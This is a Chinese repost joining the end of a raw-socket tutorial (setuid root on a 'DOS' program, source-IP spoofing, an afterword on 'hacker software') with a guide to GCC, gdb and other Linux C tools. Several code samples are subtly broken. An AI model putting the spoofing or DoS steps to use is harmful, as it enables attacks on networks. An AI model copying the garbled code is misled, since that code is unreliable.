通用戶可以運(yùn)行這個(gè)程序,我們應(yīng)該將這個(gè)程序的所有者變?yōu)閞oot,且 設(shè)置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 總結(jié)
原始套接字和一般的套接字不同的是以前許多由系統(tǒng)做的事情,現(xiàn)在要由我們自己來做了
.. 不過這里面是不是有很多的樂趣呢. 當(dāng)我們創(chuàng)建了一個(gè)TCP套接字的時(shí)候,我們只是負(fù)
責(zé)把我們要發(fā)送的內(nèi)容(buffer)傳遞給了系統(tǒng). 系統(tǒng)在收到我們的數(shù)據(jù)后,回自動(dòng)的調(diào)用
相應(yīng)的模塊給數(shù)據(jù)加上TCP頭部,然后加上IP頭部. 再發(fā)送出去.而現(xiàn)在是我們自己創(chuàng)建各
個(gè)的頭部,系統(tǒng)只是把它們發(fā)送出去. 在上面的實(shí)例中,由于我們要修改我們的源IP地址
,所以我們使用了setsockopt函數(shù),如果我們只是修改TCP數(shù)據(jù),那么IP數(shù)據(jù)一樣也可以由
系統(tǒng)來創(chuàng)建的.
--

網(wǎng)絡(luò)編程(11)

11. 后記
總算完成了網(wǎng)絡(luò)編程這個(gè)教程.算起來我差不多寫了一個(gè)星期,原來以為寫這個(gè)應(yīng)該是
一件 不難的事,做起來才知道原來有很多的地方都比我想象的要難.我還把很多的東西都
省略掉了 不過寫完了這篇教程以后,我好象對(duì)網(wǎng)絡(luò)的認(rèn)識(shí)又增加了一步.
如果我們只是編寫一般的 網(wǎng)絡(luò)程序還是比較容易的,但是如果我們想寫出比較好的網(wǎng)
絡(luò)程序我們還有著遙遠(yuǎn)的路要走. 網(wǎng)絡(luò)程序一般的來說都是多進(jìn)程加上多線程的.為了處
理好他們內(nèi)部的關(guān)系,我們還要學(xué)習(xí) 進(jìn)程之間的通信.在網(wǎng)絡(luò)程序里面有著許許多多的突
發(fā)事件,為此我們還要去學(xué)習(xí)更高級(jí)的 事件處理知識(shí).現(xiàn)在的信息越來越多了,為了處理
好這些信息,我們還要去學(xué)習(xí)數(shù)據(jù)庫(kù). 如果要編寫出有用的黑客軟件,我們還要去熟悉各
種網(wǎng)絡(luò)協(xié)議.總之我們要學(xué)的東西還很多很多.
看一看外國(guó)的軟件水平,看一看印度的軟件水平,寶島臺(tái)灣的水平,再看一看我們自己的
軟件水平大家就會(huì)知道了什么叫做差距.我們現(xiàn)在用的軟件有幾個(gè)是我們中國(guó)人自己編
寫的.
不過大家不要害怕,不用擔(dān)心.只要我們還是清醒的,還能夠認(rèn)清我們和別人的差距, 我
們就還有希望. 畢竟我們現(xiàn)在還年輕.只要我們努力,認(rèn)真的去學(xué)習(xí),我們一定能夠?qū)W好的
..我們就可以追上別人直到超過別人!
相信一點(diǎn):
別人可以做到的我們一樣可以做到,而且可以比別人做的更好!
勇敢的年輕人,為了我們偉大祖國(guó)的軟件產(chǎn)業(yè),為了祖國(guó)的未來,努力的去奮斗吧!祖國(guó)
會(huì)記住你們的!
hoyt
11.1 參考資料
<<實(shí)用UNIX編程>;>;---機(jī)械工業(yè)出版社.
<<Linux網(wǎng)絡(luò)編程>;>;--清華大學(xué)出版社.

9)Linux下C開發(fā)工具介紹

Linux的發(fā)行版中包含了很多軟件開發(fā)工具. 它們中的很多是用于 C 和 C++應(yīng)用程序開發(fā)
的. 本文介紹了在 Linux 下能用于 C 應(yīng)用程序開發(fā)和調(diào)試的工具. 本文的主旨是介紹如
何在 Linux 下使用 C 編譯器和其他 C 編程工具, 而非 C 語言編程的教程.

GNU C 編譯器
GNU C 編譯器(GCC)是一個(gè)全功能的 ANSI C 兼容編譯器. 如果你熟悉其他操作系統(tǒng)或硬
件平臺(tái)上的一種 C 編譯器, 你將能很快地掌握 GCC. 本節(jié)將介紹如何使用 GCC 和一些
GCC 編譯器最常用的選項(xiàng).

使用 GCC
通常后跟一些選項(xiàng)和文件名來使用 GCC 編譯器. gcc 命令的基本用法如下:

gcc [options] [filenames]
命令行選項(xiàng)指定的操作將在命令行上每個(gè)給出的文件上執(zhí)行. 下一小節(jié)將敘述一些你會(huì)最
常用到的選項(xiàng).

GCC 選項(xiàng)
GCC 有超過100個(gè)的編譯選項(xiàng)可用. 這些選項(xiàng)中的許多你可能永遠(yuǎn)都不會(huì)用到, 但一些主
要的選項(xiàng)將會(huì)頻繁用到. 很多的 GCC 選項(xiàng)包括一個(gè)以上的字符. 因此你必須為每個(gè)選項(xiàng)
指定各自的連字符, 并且就象大多數(shù) Linux 命令一樣你不能在一個(gè)單獨(dú)的連字符后跟一
組選項(xiàng). 例如, 下面的兩個(gè)命令是不同的:

gcc -p -g test.c

gcc -pg test.c
第一條命令告訴 GCC 編譯 test.c 時(shí)為 prof 命令建立剖析(profile)信息并且把調(diào)試信
息加入到可執(zhí)行的文件里. 第二條命令只告訴 GCC 為 gprof 命令建立剖析信息.

當(dāng)你不用任何選項(xiàng)編譯一個(gè)程序時(shí), GCC 將會(huì)建立(假定編譯成功)一個(gè)名為 a.out 的可
執(zhí)行文件. 例如, 下面的命令將在當(dāng)前目錄下產(chǎn)生一個(gè)叫 a.out 的文件:

gcc test.c
你能用 -o 編譯選項(xiàng)來為將產(chǎn)生的可執(zhí)行文件指定一個(gè)文件名來代替 a.out. 例如, 將一
個(gè)叫 count.c 的 C 程序編譯為名叫 count 的可執(zhí)行文件, 你將輸入下面的命令:

gcc -o count count.c

------------------------------------------------------------------------------
--

注意: 當(dāng)你使用 -o 選項(xiàng)時(shí), -o 后面必須跟一個(gè)文件名.

------------------------------------------------------------------------------
--

GCC 同樣有指定編譯器處理多少的編譯選項(xiàng). -c 選項(xiàng)告訴 GCC 僅把源代碼編譯為目標(biāo)代
碼而跳過匯編和連接的步驟. 這個(gè)選項(xiàng)使用的非常頻繁因?yàn)樗沟镁幾g多個(gè) C 程序時(shí)速
度更快并且更易于管理. 缺省時(shí) GCC 建立的目標(biāo)代碼文件有一個(gè) .o 的擴(kuò)展名.

-S 編譯選項(xiàng)告訴 GCC 在為 C 代碼產(chǎn)生了匯編語言文件后停止編譯. GCC 產(chǎn)生的匯編語
言文件的缺省擴(kuò)展名是 .s . -E 選項(xiàng)指示編譯器僅對(duì)輸入文件進(jìn)行預(yù)處理. 當(dāng)這個(gè)選項(xiàng)
被使用時(shí), 預(yù)處理器的輸出被送到標(biāo)準(zhǔn)輸出而不是儲(chǔ)存在文件里.

優(yōu) 化 選 項(xiàng)
當(dāng)你用 GCC 編譯 C 代碼時(shí), 它會(huì)試著用最少的時(shí)間完成編譯并且使編譯后的代碼易于調(diào)
試. 易于調(diào)試意味著編譯后的代碼與源代碼有同樣的執(zhí)行次序, 編譯后的代碼沒有經(jīng)過優(yōu)
化. 有很多選項(xiàng)可用于告訴 GCC 在耗費(fèi)更多編譯時(shí)間和犧牲易調(diào)試性的基礎(chǔ)上產(chǎn)生更小
更快的可執(zhí)行文件. 這些選項(xiàng)中最典型的是-O 和 -O2 選項(xiàng).

-O 選項(xiàng)告訴 GCC 對(duì)源代碼進(jìn)行基本優(yōu)化. 這些優(yōu)化在大多數(shù)情況下都會(huì)使程序執(zhí)行的更
快. -O2 選項(xiàng)告訴 GCC 產(chǎn)生盡可能小和盡可能快的代碼. -O2 選項(xiàng)將使編譯的速度比使
用 -O 時(shí)慢. 但通常產(chǎn)生的代碼執(zhí)行速度會(huì)更快.

除了 -O 和 -O2 優(yōu)化選項(xiàng)外, 還有一些低級(jí)選項(xiàng)用于產(chǎn)生更快的代碼. 這些選項(xiàng)非常的
特殊, 而且最好只有當(dāng)你完全理解這些選項(xiàng)將會(huì)對(duì)編譯后的代碼產(chǎn)生什么樣的效果時(shí)再去
使用. 這些選項(xiàng)的詳細(xì)描述, 請(qǐng)參考 GCC 的指南頁, 在命令行上鍵入 man gcc .

調(diào)試和剖析選項(xiàng)
GCC 支持?jǐn)?shù)種調(diào)試和剖析選項(xiàng). 在這些選項(xiàng)里你會(huì)最常用到的是 -g 和 -pg 選項(xiàng).
-g 選項(xiàng)告訴 GCC 產(chǎn)生能被 GNU 調(diào)試器使用的調(diào)試信息以便調(diào)試你的程序. GCC 提供了
一個(gè)很多其他 C 編譯器里沒有的特性, 在 GCC 里你能使 -g 和 -O (產(chǎn)生優(yōu)化代碼)聯(lián)用
.. 這一點(diǎn)非常有用因?yàn)槟隳茉谂c最終產(chǎn)品盡可能相近的情況下調(diào)試你的代碼. 在你同時(shí)使
用這兩個(gè)選項(xiàng)時(shí)你必須清楚你所寫的某些代碼已經(jīng)在優(yōu)化時(shí)被 GCC 作了改動(dòng). 關(guān)于調(diào)試
C 程序的更多信息請(qǐng)看下一節(jié)"用 gdb 調(diào)試 C 程序" .
-pg 選項(xiàng)告訴 GCC 在你的程序里加入額外的代碼, 執(zhí)行時(shí), 產(chǎn)生 gprof 用的剖析信息以
顯示你的程序的耗時(shí)情況. 關(guān)于 gprof 的更多信息請(qǐng)參考 "gprof" 一節(jié).

用 gdb 調(diào)試 GCC 程序
Linux 包含了一個(gè)叫 gdb 的 GNU 調(diào)試程序. gdb 是一個(gè)用來調(diào)試 C 和 C++ 程序的強(qiáng)力
調(diào)試器. 它使你能在程序運(yùn)行時(shí)觀察程序的內(nèi)部結(jié)構(gòu)和內(nèi)存的使用情況. 以下是 gdb 所
提供的一些功能:

它使你能監(jiān)視你程序中變量的值.
它使你能設(shè)置斷點(diǎn)以使程序在指定的代碼行上停止執(zhí)行.
它使你能一行行的執(zhí)行你的代碼.

在命令行上鍵入 gdb 并按回車鍵就可以運(yùn)行 gdb 了, 如果一切正常的話, gdb 將被啟動(dòng)
并且你將在屏幕上看到類似的內(nèi)容:

GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
(gdb)
當(dāng)你啟動(dòng) gdb 后, 你能在命令行上指定很多的選項(xiàng). 你也可以以下面的方式來運(yùn)行 gdb
:

gdb <fname>;
當(dāng)你用這種方式運(yùn)行 gdb , 你能直接指定想要調(diào)試的程序. 這將告訴gdb 裝入名為
fname 的可執(zhí)行文件. 你也可以用 gdb 去檢查一個(gè)因程序異常終止而產(chǎn)生的 core 文件,
或者與一個(gè)正在運(yùn)行的程序相連. 你可以參考 gdb 指南頁或在命令行上鍵入 gdb -h 得
到一個(gè)有關(guān)這些選項(xiàng)的說明的簡(jiǎn)單列表.

為調(diào)試編譯代碼(Compiling Code for Debugging)
為了使 gdb 正常工作, 你必須使你的程序在編譯時(shí)包含調(diào)試信息. 調(diào)試信息包含你程序
里的每個(gè)變量的類型和在可執(zhí)行文件里的地址映射以及源代碼的行號(hào). gdb 利用這些信
息使源代碼和機(jī)器碼相關(guān)聯(lián).

在編譯時(shí)用 -g 選項(xiàng)打開調(diào)試選項(xiàng).

gdb 基本命令
gdb 支持很多的命令使你能實(shí)現(xiàn)不同的功能. 這些命令從簡(jiǎn)單的文件裝入到允許你檢查所
調(diào)用的堆棧內(nèi)容的復(fù)雜命令, 表27.1列出了你在用 gdb 調(diào)試時(shí)會(huì)用到的一些命令. 想了
解 gdb 的詳細(xì)使用請(qǐng)參考 gdb 的指南頁.

基本 gdb 命令.

命 令 描 述
file 裝入想要調(diào)試的可執(zhí)行文件.
kill 終止正在調(diào)試的程序.
list 列出產(chǎn)生執(zhí)行文件的源代碼的一部分.
next 執(zhí)行一行源代碼但不進(jìn)入函數(shù)內(nèi)部.
step 執(zhí)行一行源代碼而且進(jìn)入函數(shù)內(nèi)部.
run 執(zhí)行當(dāng)前被調(diào)試的程序
quit 終止 gdb
watch 使你能監(jiān)視一個(gè)變量的值而不管它何時(shí)被改變.
print 顯示表達(dá)式的值
break 在代碼里設(shè)置斷點(diǎn), 這將使程序執(zhí)行到這里時(shí)被掛起.
make 使你能不退出 gdb 就可以重新產(chǎn)生可執(zhí)行文件.
shell 使你能不離開 gdb 就執(zhí)行 UNIX shell 命令.

gdb 支持很多與 UNIX shell 程序一樣的命令編輯特征. 你能象在 bash 或 tcsh里那樣
按 Tab 鍵讓 gdb 幫你補(bǔ)齊一個(gè)唯一的命令, 如果不唯一的話 gdb 會(huì)列出所有匹配的命
令. 你也能用光標(biāo)鍵上下翻動(dòng)歷史命令.

gdb 應(yīng)用舉例
本節(jié)用一個(gè)實(shí)例教你一步步的用 gdb 調(diào)試程序. 被調(diào)試的程序相當(dāng)?shù)暮?jiǎn)單, 但它展示了
gdb 的典型應(yīng)用.

下面列出了將被調(diào)試的程序. 這個(gè)程序被稱為 hello , 它顯示一個(gè)簡(jiǎn)單的問候, 再用反
序?qū)⑺谐?

#i nclude <stdio.h>;

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string;
string2[size+1] = ‘‘;

printf ("The string printed backward is %s ", string2);
}
用下面的命令編譯它:

gcc -g -o hello hello.c
這個(gè)程序執(zhí)行時(shí)顯示如下結(jié)果:
../hello
The string is hello world!

The string printed backward is
輸出的第一行是正確的, 但第二行打印出的東西并不是我們所期望的. 我們所設(shè)想的輸出
應(yīng)該是:

The string printed backward is !dlrow olleh
由于某些原因, my_print2 函數(shù)沒有正常工作. 讓我們用 gdb 看看問題究竟出在哪兒,
先鍵入如下命令:

gdb hello

------------------------------------------------------------------------------
--

注意: 記得在編譯 hello 程序時(shí)把調(diào)試選項(xiàng)打開.

------------------------------------------------------------------------------
--

如果你在輸入命令時(shí)忘了把要調(diào)試的程序作為參數(shù)傳給 gdb , 你可以在 gdb 提示符下用
file 命令來載入它:

(gdb) file hello
這個(gè)命令將載入 hello 可執(zhí)行文件就象你在 gdb 命令行里裝入它一樣.

這時(shí)你能用 gdb 的 run 命令來運(yùn)行 hello 了. 當(dāng)它在 gdb 里被運(yùn)行后結(jié)果大約會(huì)象這
樣:

(gdb) run

Starting program: /root/hello

The string is hello world!

The string printed backward is

Program exited with code 040
這個(gè)輸出和在 gdb 外面運(yùn)行的結(jié)果一樣. 問題是, 為什么反序打印沒有工作? 為了找出
癥結(jié)所在, 我們可以在 my_print2 函數(shù)的 for 語句后設(shè)一個(gè)斷點(diǎn), 具體的做法是在 gdb
提示符下鍵入 list 命令三次, 列出源代碼:

(gdb) list

(gdb) list

(gdb) list

------------------------------------------------------------------------------
--

技巧: 在 gdb 提示符下按回車健將重復(fù)上一個(gè)命令.

------------------------------------------------------------------------------
--

第一次鍵入 list 命令的輸出如下:

1 #i nclude <stdio.h>;
2
3 static void my_print (char *);
4 static void my_print2 (char *);
5
6 main ()
7 {
8 char my_string[] = "hello world!";
9 my_print (my_string);
10 my_print2 (my_string);

如果按下回車, gdb 將再執(zhí)行一次 list 命令, 給出下列輸出:

11 }
12
13 void my_print (char *string)
14 {
15 printf ("The string is %s ", string);
16 }
17
18 void my_print2 (char *string)
19 {
20 char *string2;
再按一次回車將列出 hello 程序的剩余部分:

21 int size, i;
22
23 size = strlen (string);
24 string2 = (char *) malloc (size + 1);
25 for (i = 0; i < size; i++)
26 string2[size - i] = string;
27 string2[size+1] = ‘‘;
28
29 printf ("The string printed backward is %s ", string2);
30 }
根據(jù)列出的源程序, 你能看到要設(shè)斷點(diǎn)的地方在第26行, 在 gdb 命令行提示符下鍵入如
下命令設(shè)置斷點(diǎn):

(gdb) break 26
gdb 將作出如下的響應(yīng):

Breakpoint 1 at 0x804857c: file hello.c, line 26.

(gdb)

現(xiàn)在再鍵入 run 命令, 將產(chǎn)生如下的輸出:

Starting program: /root/hello

The string is hello world!

Breakpoint 1, my_print2 (string=0xbffffab0 "hello world!") at hello.c:26
26 string2[size - i] = string;
你能通過設(shè)置一個(gè)觀察 string2[size - i] 變量的值的觀察點(diǎn)來看出錯(cuò)誤是怎樣產(chǎn)生的,
做法是鍵入:

(gdb) watch string2[size - i]
gdb 將作出如下回應(yīng):

Hardware watchpoint 2: string2[size - i]
現(xiàn)在可以用 next 命令來一步步的執(zhí)行 for 循環(huán)了:

(gdb) next
經(jīng)過第一次循環(huán)后, gdb 告訴我們 string2[size - i] 的值是 `h`. gdb 用如下的顯示
來告訴你這個(gè)信息:

Hardware watchpoint 2: string2[size - i]

Old value = 0 ‘00‘
New value = 104 ‘h‘
my_print2 (string=0xbffffab0 "hello world!") at hello.c:25
25 for (i = 0; i < size; i++)
這個(gè)值正是期望的. 后來的數(shù)次循環(huán)的結(jié)果都是正確的. 當(dāng) i=11 時(shí), 表達(dá)式
string2[size - i] 的值等于 `!`, size - i 的值等于 1, 最后一個(gè)字符已經(jīng)拷到新串
里了.

如果你再把循環(huán)執(zhí)行下去, 你會(huì)看到已經(jīng)沒有值分配給 string2[0] 了, 而它是新串的
第一個(gè)字符, 因?yàn)?malloc 函數(shù)在分配內(nèi)存時(shí)把它們初始化為空(null)字符. 所以
string2 的第一個(gè)字符是空字符. 這解釋了為什么在打印 string2 時(shí)沒有任何輸出了.

現(xiàn)在找出了問題出在哪里, 修正這個(gè)錯(cuò)誤是很容易的. 你得把代碼里寫入 string2 的第
一個(gè)字符的的偏移量改為 size - 1 而不是 size. 這是因?yàn)?string2 的大小為 12, 但
起始偏移量是 0, 串內(nèi)的字符從偏移量 0 到 偏移量 10, 偏移量 11 為空字符保留.

改正方法非常簡(jiǎn)單. 這是這種解決辦法的代碼:

#i nclude <stdio.h>;

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string;
string2[size] = ‘‘;

printf ("The string printed backward is %s ", string2);
}
如果程序產(chǎn)生了core文件,可以用gdb hello core命令來查看程序在何處出錯(cuò)。如在函數(shù)
my_print2()中,如果忘記了給string2分配內(nèi)存 string2 = (char *) malloc (size +
1);,很可能就會(huì)core dump.

另外的 C 編程工具

xxgdb
xxgdb 是 gdb 的一個(gè)基于 X Window 系統(tǒng)的圖形界面. xxgdb 包括了命令行版的 gdb
上的所有特性. xxgdb 使你能通過按按鈕來執(zhí)行常用的命令. 設(shè)置了斷點(diǎn)的地方也用圖
形來顯示.

你能在一個(gè) Xterm 窗口里鍵入下面的命令來運(yùn)行它:

xxgdb
你能用 gdb 里任何有效的命令行選項(xiàng)來初始化 xxgdb . 此外 xxgdb 也有一些特有的命
令行選項(xiàng), 表 27.2 列出了這些選項(xiàng).

表 27.2. xxgdb 命令行選項(xiàng).

選 項(xiàng) 描 述
db_name 指定所用調(diào)試器的名字, 缺省是 gdb.
db_prompt 指定調(diào)試器提示符, 缺省為 gdb.
gdbinit 指定初始化 gdb 的命令文件的文件名, 缺省為 .gdbinit.

nx 告訴 xxgdb 不執(zhí)行 .gdbinit 文件.
bigicon 使用大圖標(biāo).

calls
你可以在 sunsite.unc.edu FTP 站點(diǎn)用下面的路徑:
/pub/Linux/devel/lang/c/calls.tar.Z
來取得 calls , 一些舊版本的 Linux CD-ROM 發(fā)行版里也附帶有. 因?yàn)樗且粋€(gè)有用的
工具, 我們?cè)谶@里也介紹一下. 如果你覺得有用的話, 從 BBS, FTP, 或另一張CD-ROM 上
弄一個(gè)拷貝. calls 調(diào)用 GCC 的預(yù)處理器來處理給出的源程序文件, 然后輸出這些文件
的里的函數(shù)調(diào)用樹圖.

注意: 在你的系統(tǒng)上安裝 calls , 以超級(jí)用戶身份登錄后執(zhí)行下面的步驟: 1. 解壓和
untar 文件. 2. cd 進(jìn)入 calls untar 后建立的子目錄. 3. 把名叫 calls 的文件移動(dòng)
到 /usr/bin 目錄. 4. 把名叫 calls.1 的文件移動(dòng)到目錄 /usr/man/man1 . 5. 刪除
/tmp/calls 目錄. 這些步驟將把 calls 程序和它的指南頁安裝載你的系統(tǒng)上.

------------------------------------------------------------------------------
--

當(dāng) calls 打印出調(diào)用跟蹤結(jié)果時(shí), 它在函數(shù)后面用中括號(hào)給出了函數(shù)所在文件的文件名:

main [hello.c]
如果函數(shù)并不是向 calls 給出的文件里的, calls 不知道所調(diào)用的函數(shù)來自哪里, 則只
顯示函數(shù)的名字:

printf
calls 不對(duì)遞歸和靜態(tài)函數(shù)輸出. 遞歸函數(shù)顯示成下面的樣子:

fact <<< recursive in factorial.c >;>;>;
靜態(tài)函數(shù)象這樣顯示:

total [static in calculate.c]
作為一個(gè)例子, 假設(shè)用 calls 處理下面的程序:

#i nclude <stdio.h>;

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
my_print (my_string);
}

void count_sum()
{
int i,sum=0;
for(i=0; i<1000000; i++)
sum += i;
}

void my_print (char *string)
{
count_sum();
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i,sum =0;

count_sum();
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string;
string2[size] = ‘‘;
for(i=0; i<5000000; i++)
sum += i;

printf ("The string printed backward is %s ", string2);
}
將產(chǎn)生如下的輸出:

1 __underflow [hello.c]
2 main
3 my_print [hello.c]
4 count_sum [hello.c]
5 printf
6 my_print2 [hello.c]
7 count_sum
8 strlen
9 malloc
10 printf
calls 有很多命令行選項(xiàng)來設(shè)置不同的輸出格式, 有關(guān)這些選項(xiàng)的更多信息請(qǐng)參考 calls
的指南頁. 方法是在命令行上鍵入 calls -h .

calltree
calltree與calls類似,初了輸出函數(shù)調(diào)用樹圖外,還有其它詳細(xì)的信息。
可以從sunsite.unc.edu FTP 站點(diǎn)用下面的路徑
:/pub/Linux/devel/lang/c/calltree.tar.gz得到calltree.

cproto
cproto 讀入 C 源程序文件并自動(dòng)為每個(gè)函數(shù)產(chǎn)生原型申明. 用 cproto 可以在寫程序時(shí)
為你節(jié)省大量用來定義函數(shù)原型的時(shí)間.
如果你讓 cproto 處理下面的代碼(cproto hello.c):

#i nclude <stdio.h>;

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string;
string2[size] = ‘‘;

printf ("The string printed backward is %s ", string2);
}
你將得到下面的輸出:

/* hello.c */

int main(void);

int my_print(char *string);

int my_print2(char *string);
這個(gè)輸出可以重定向到一個(gè)定義函數(shù)原型的包含文件里.

indent
indent 實(shí)用程序是 Linux 里包含的另一個(gè)編程實(shí)用工具. 這個(gè)工具簡(jiǎn)單的說就為你的代
碼產(chǎn)生美觀的縮進(jìn)的格式. indent 也有很多選項(xiàng)來指定如何格式化你的源代碼.這些選項(xiàng)
的更多信息請(qǐng)看indent 的指南頁, 在命令行上鍵入 indent -h .

下面的例子是 indent 的缺省輸出:

運(yùn)行 indent 以前的 C 代碼:

#i nclude <stdio.h>;

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2; int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i &

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多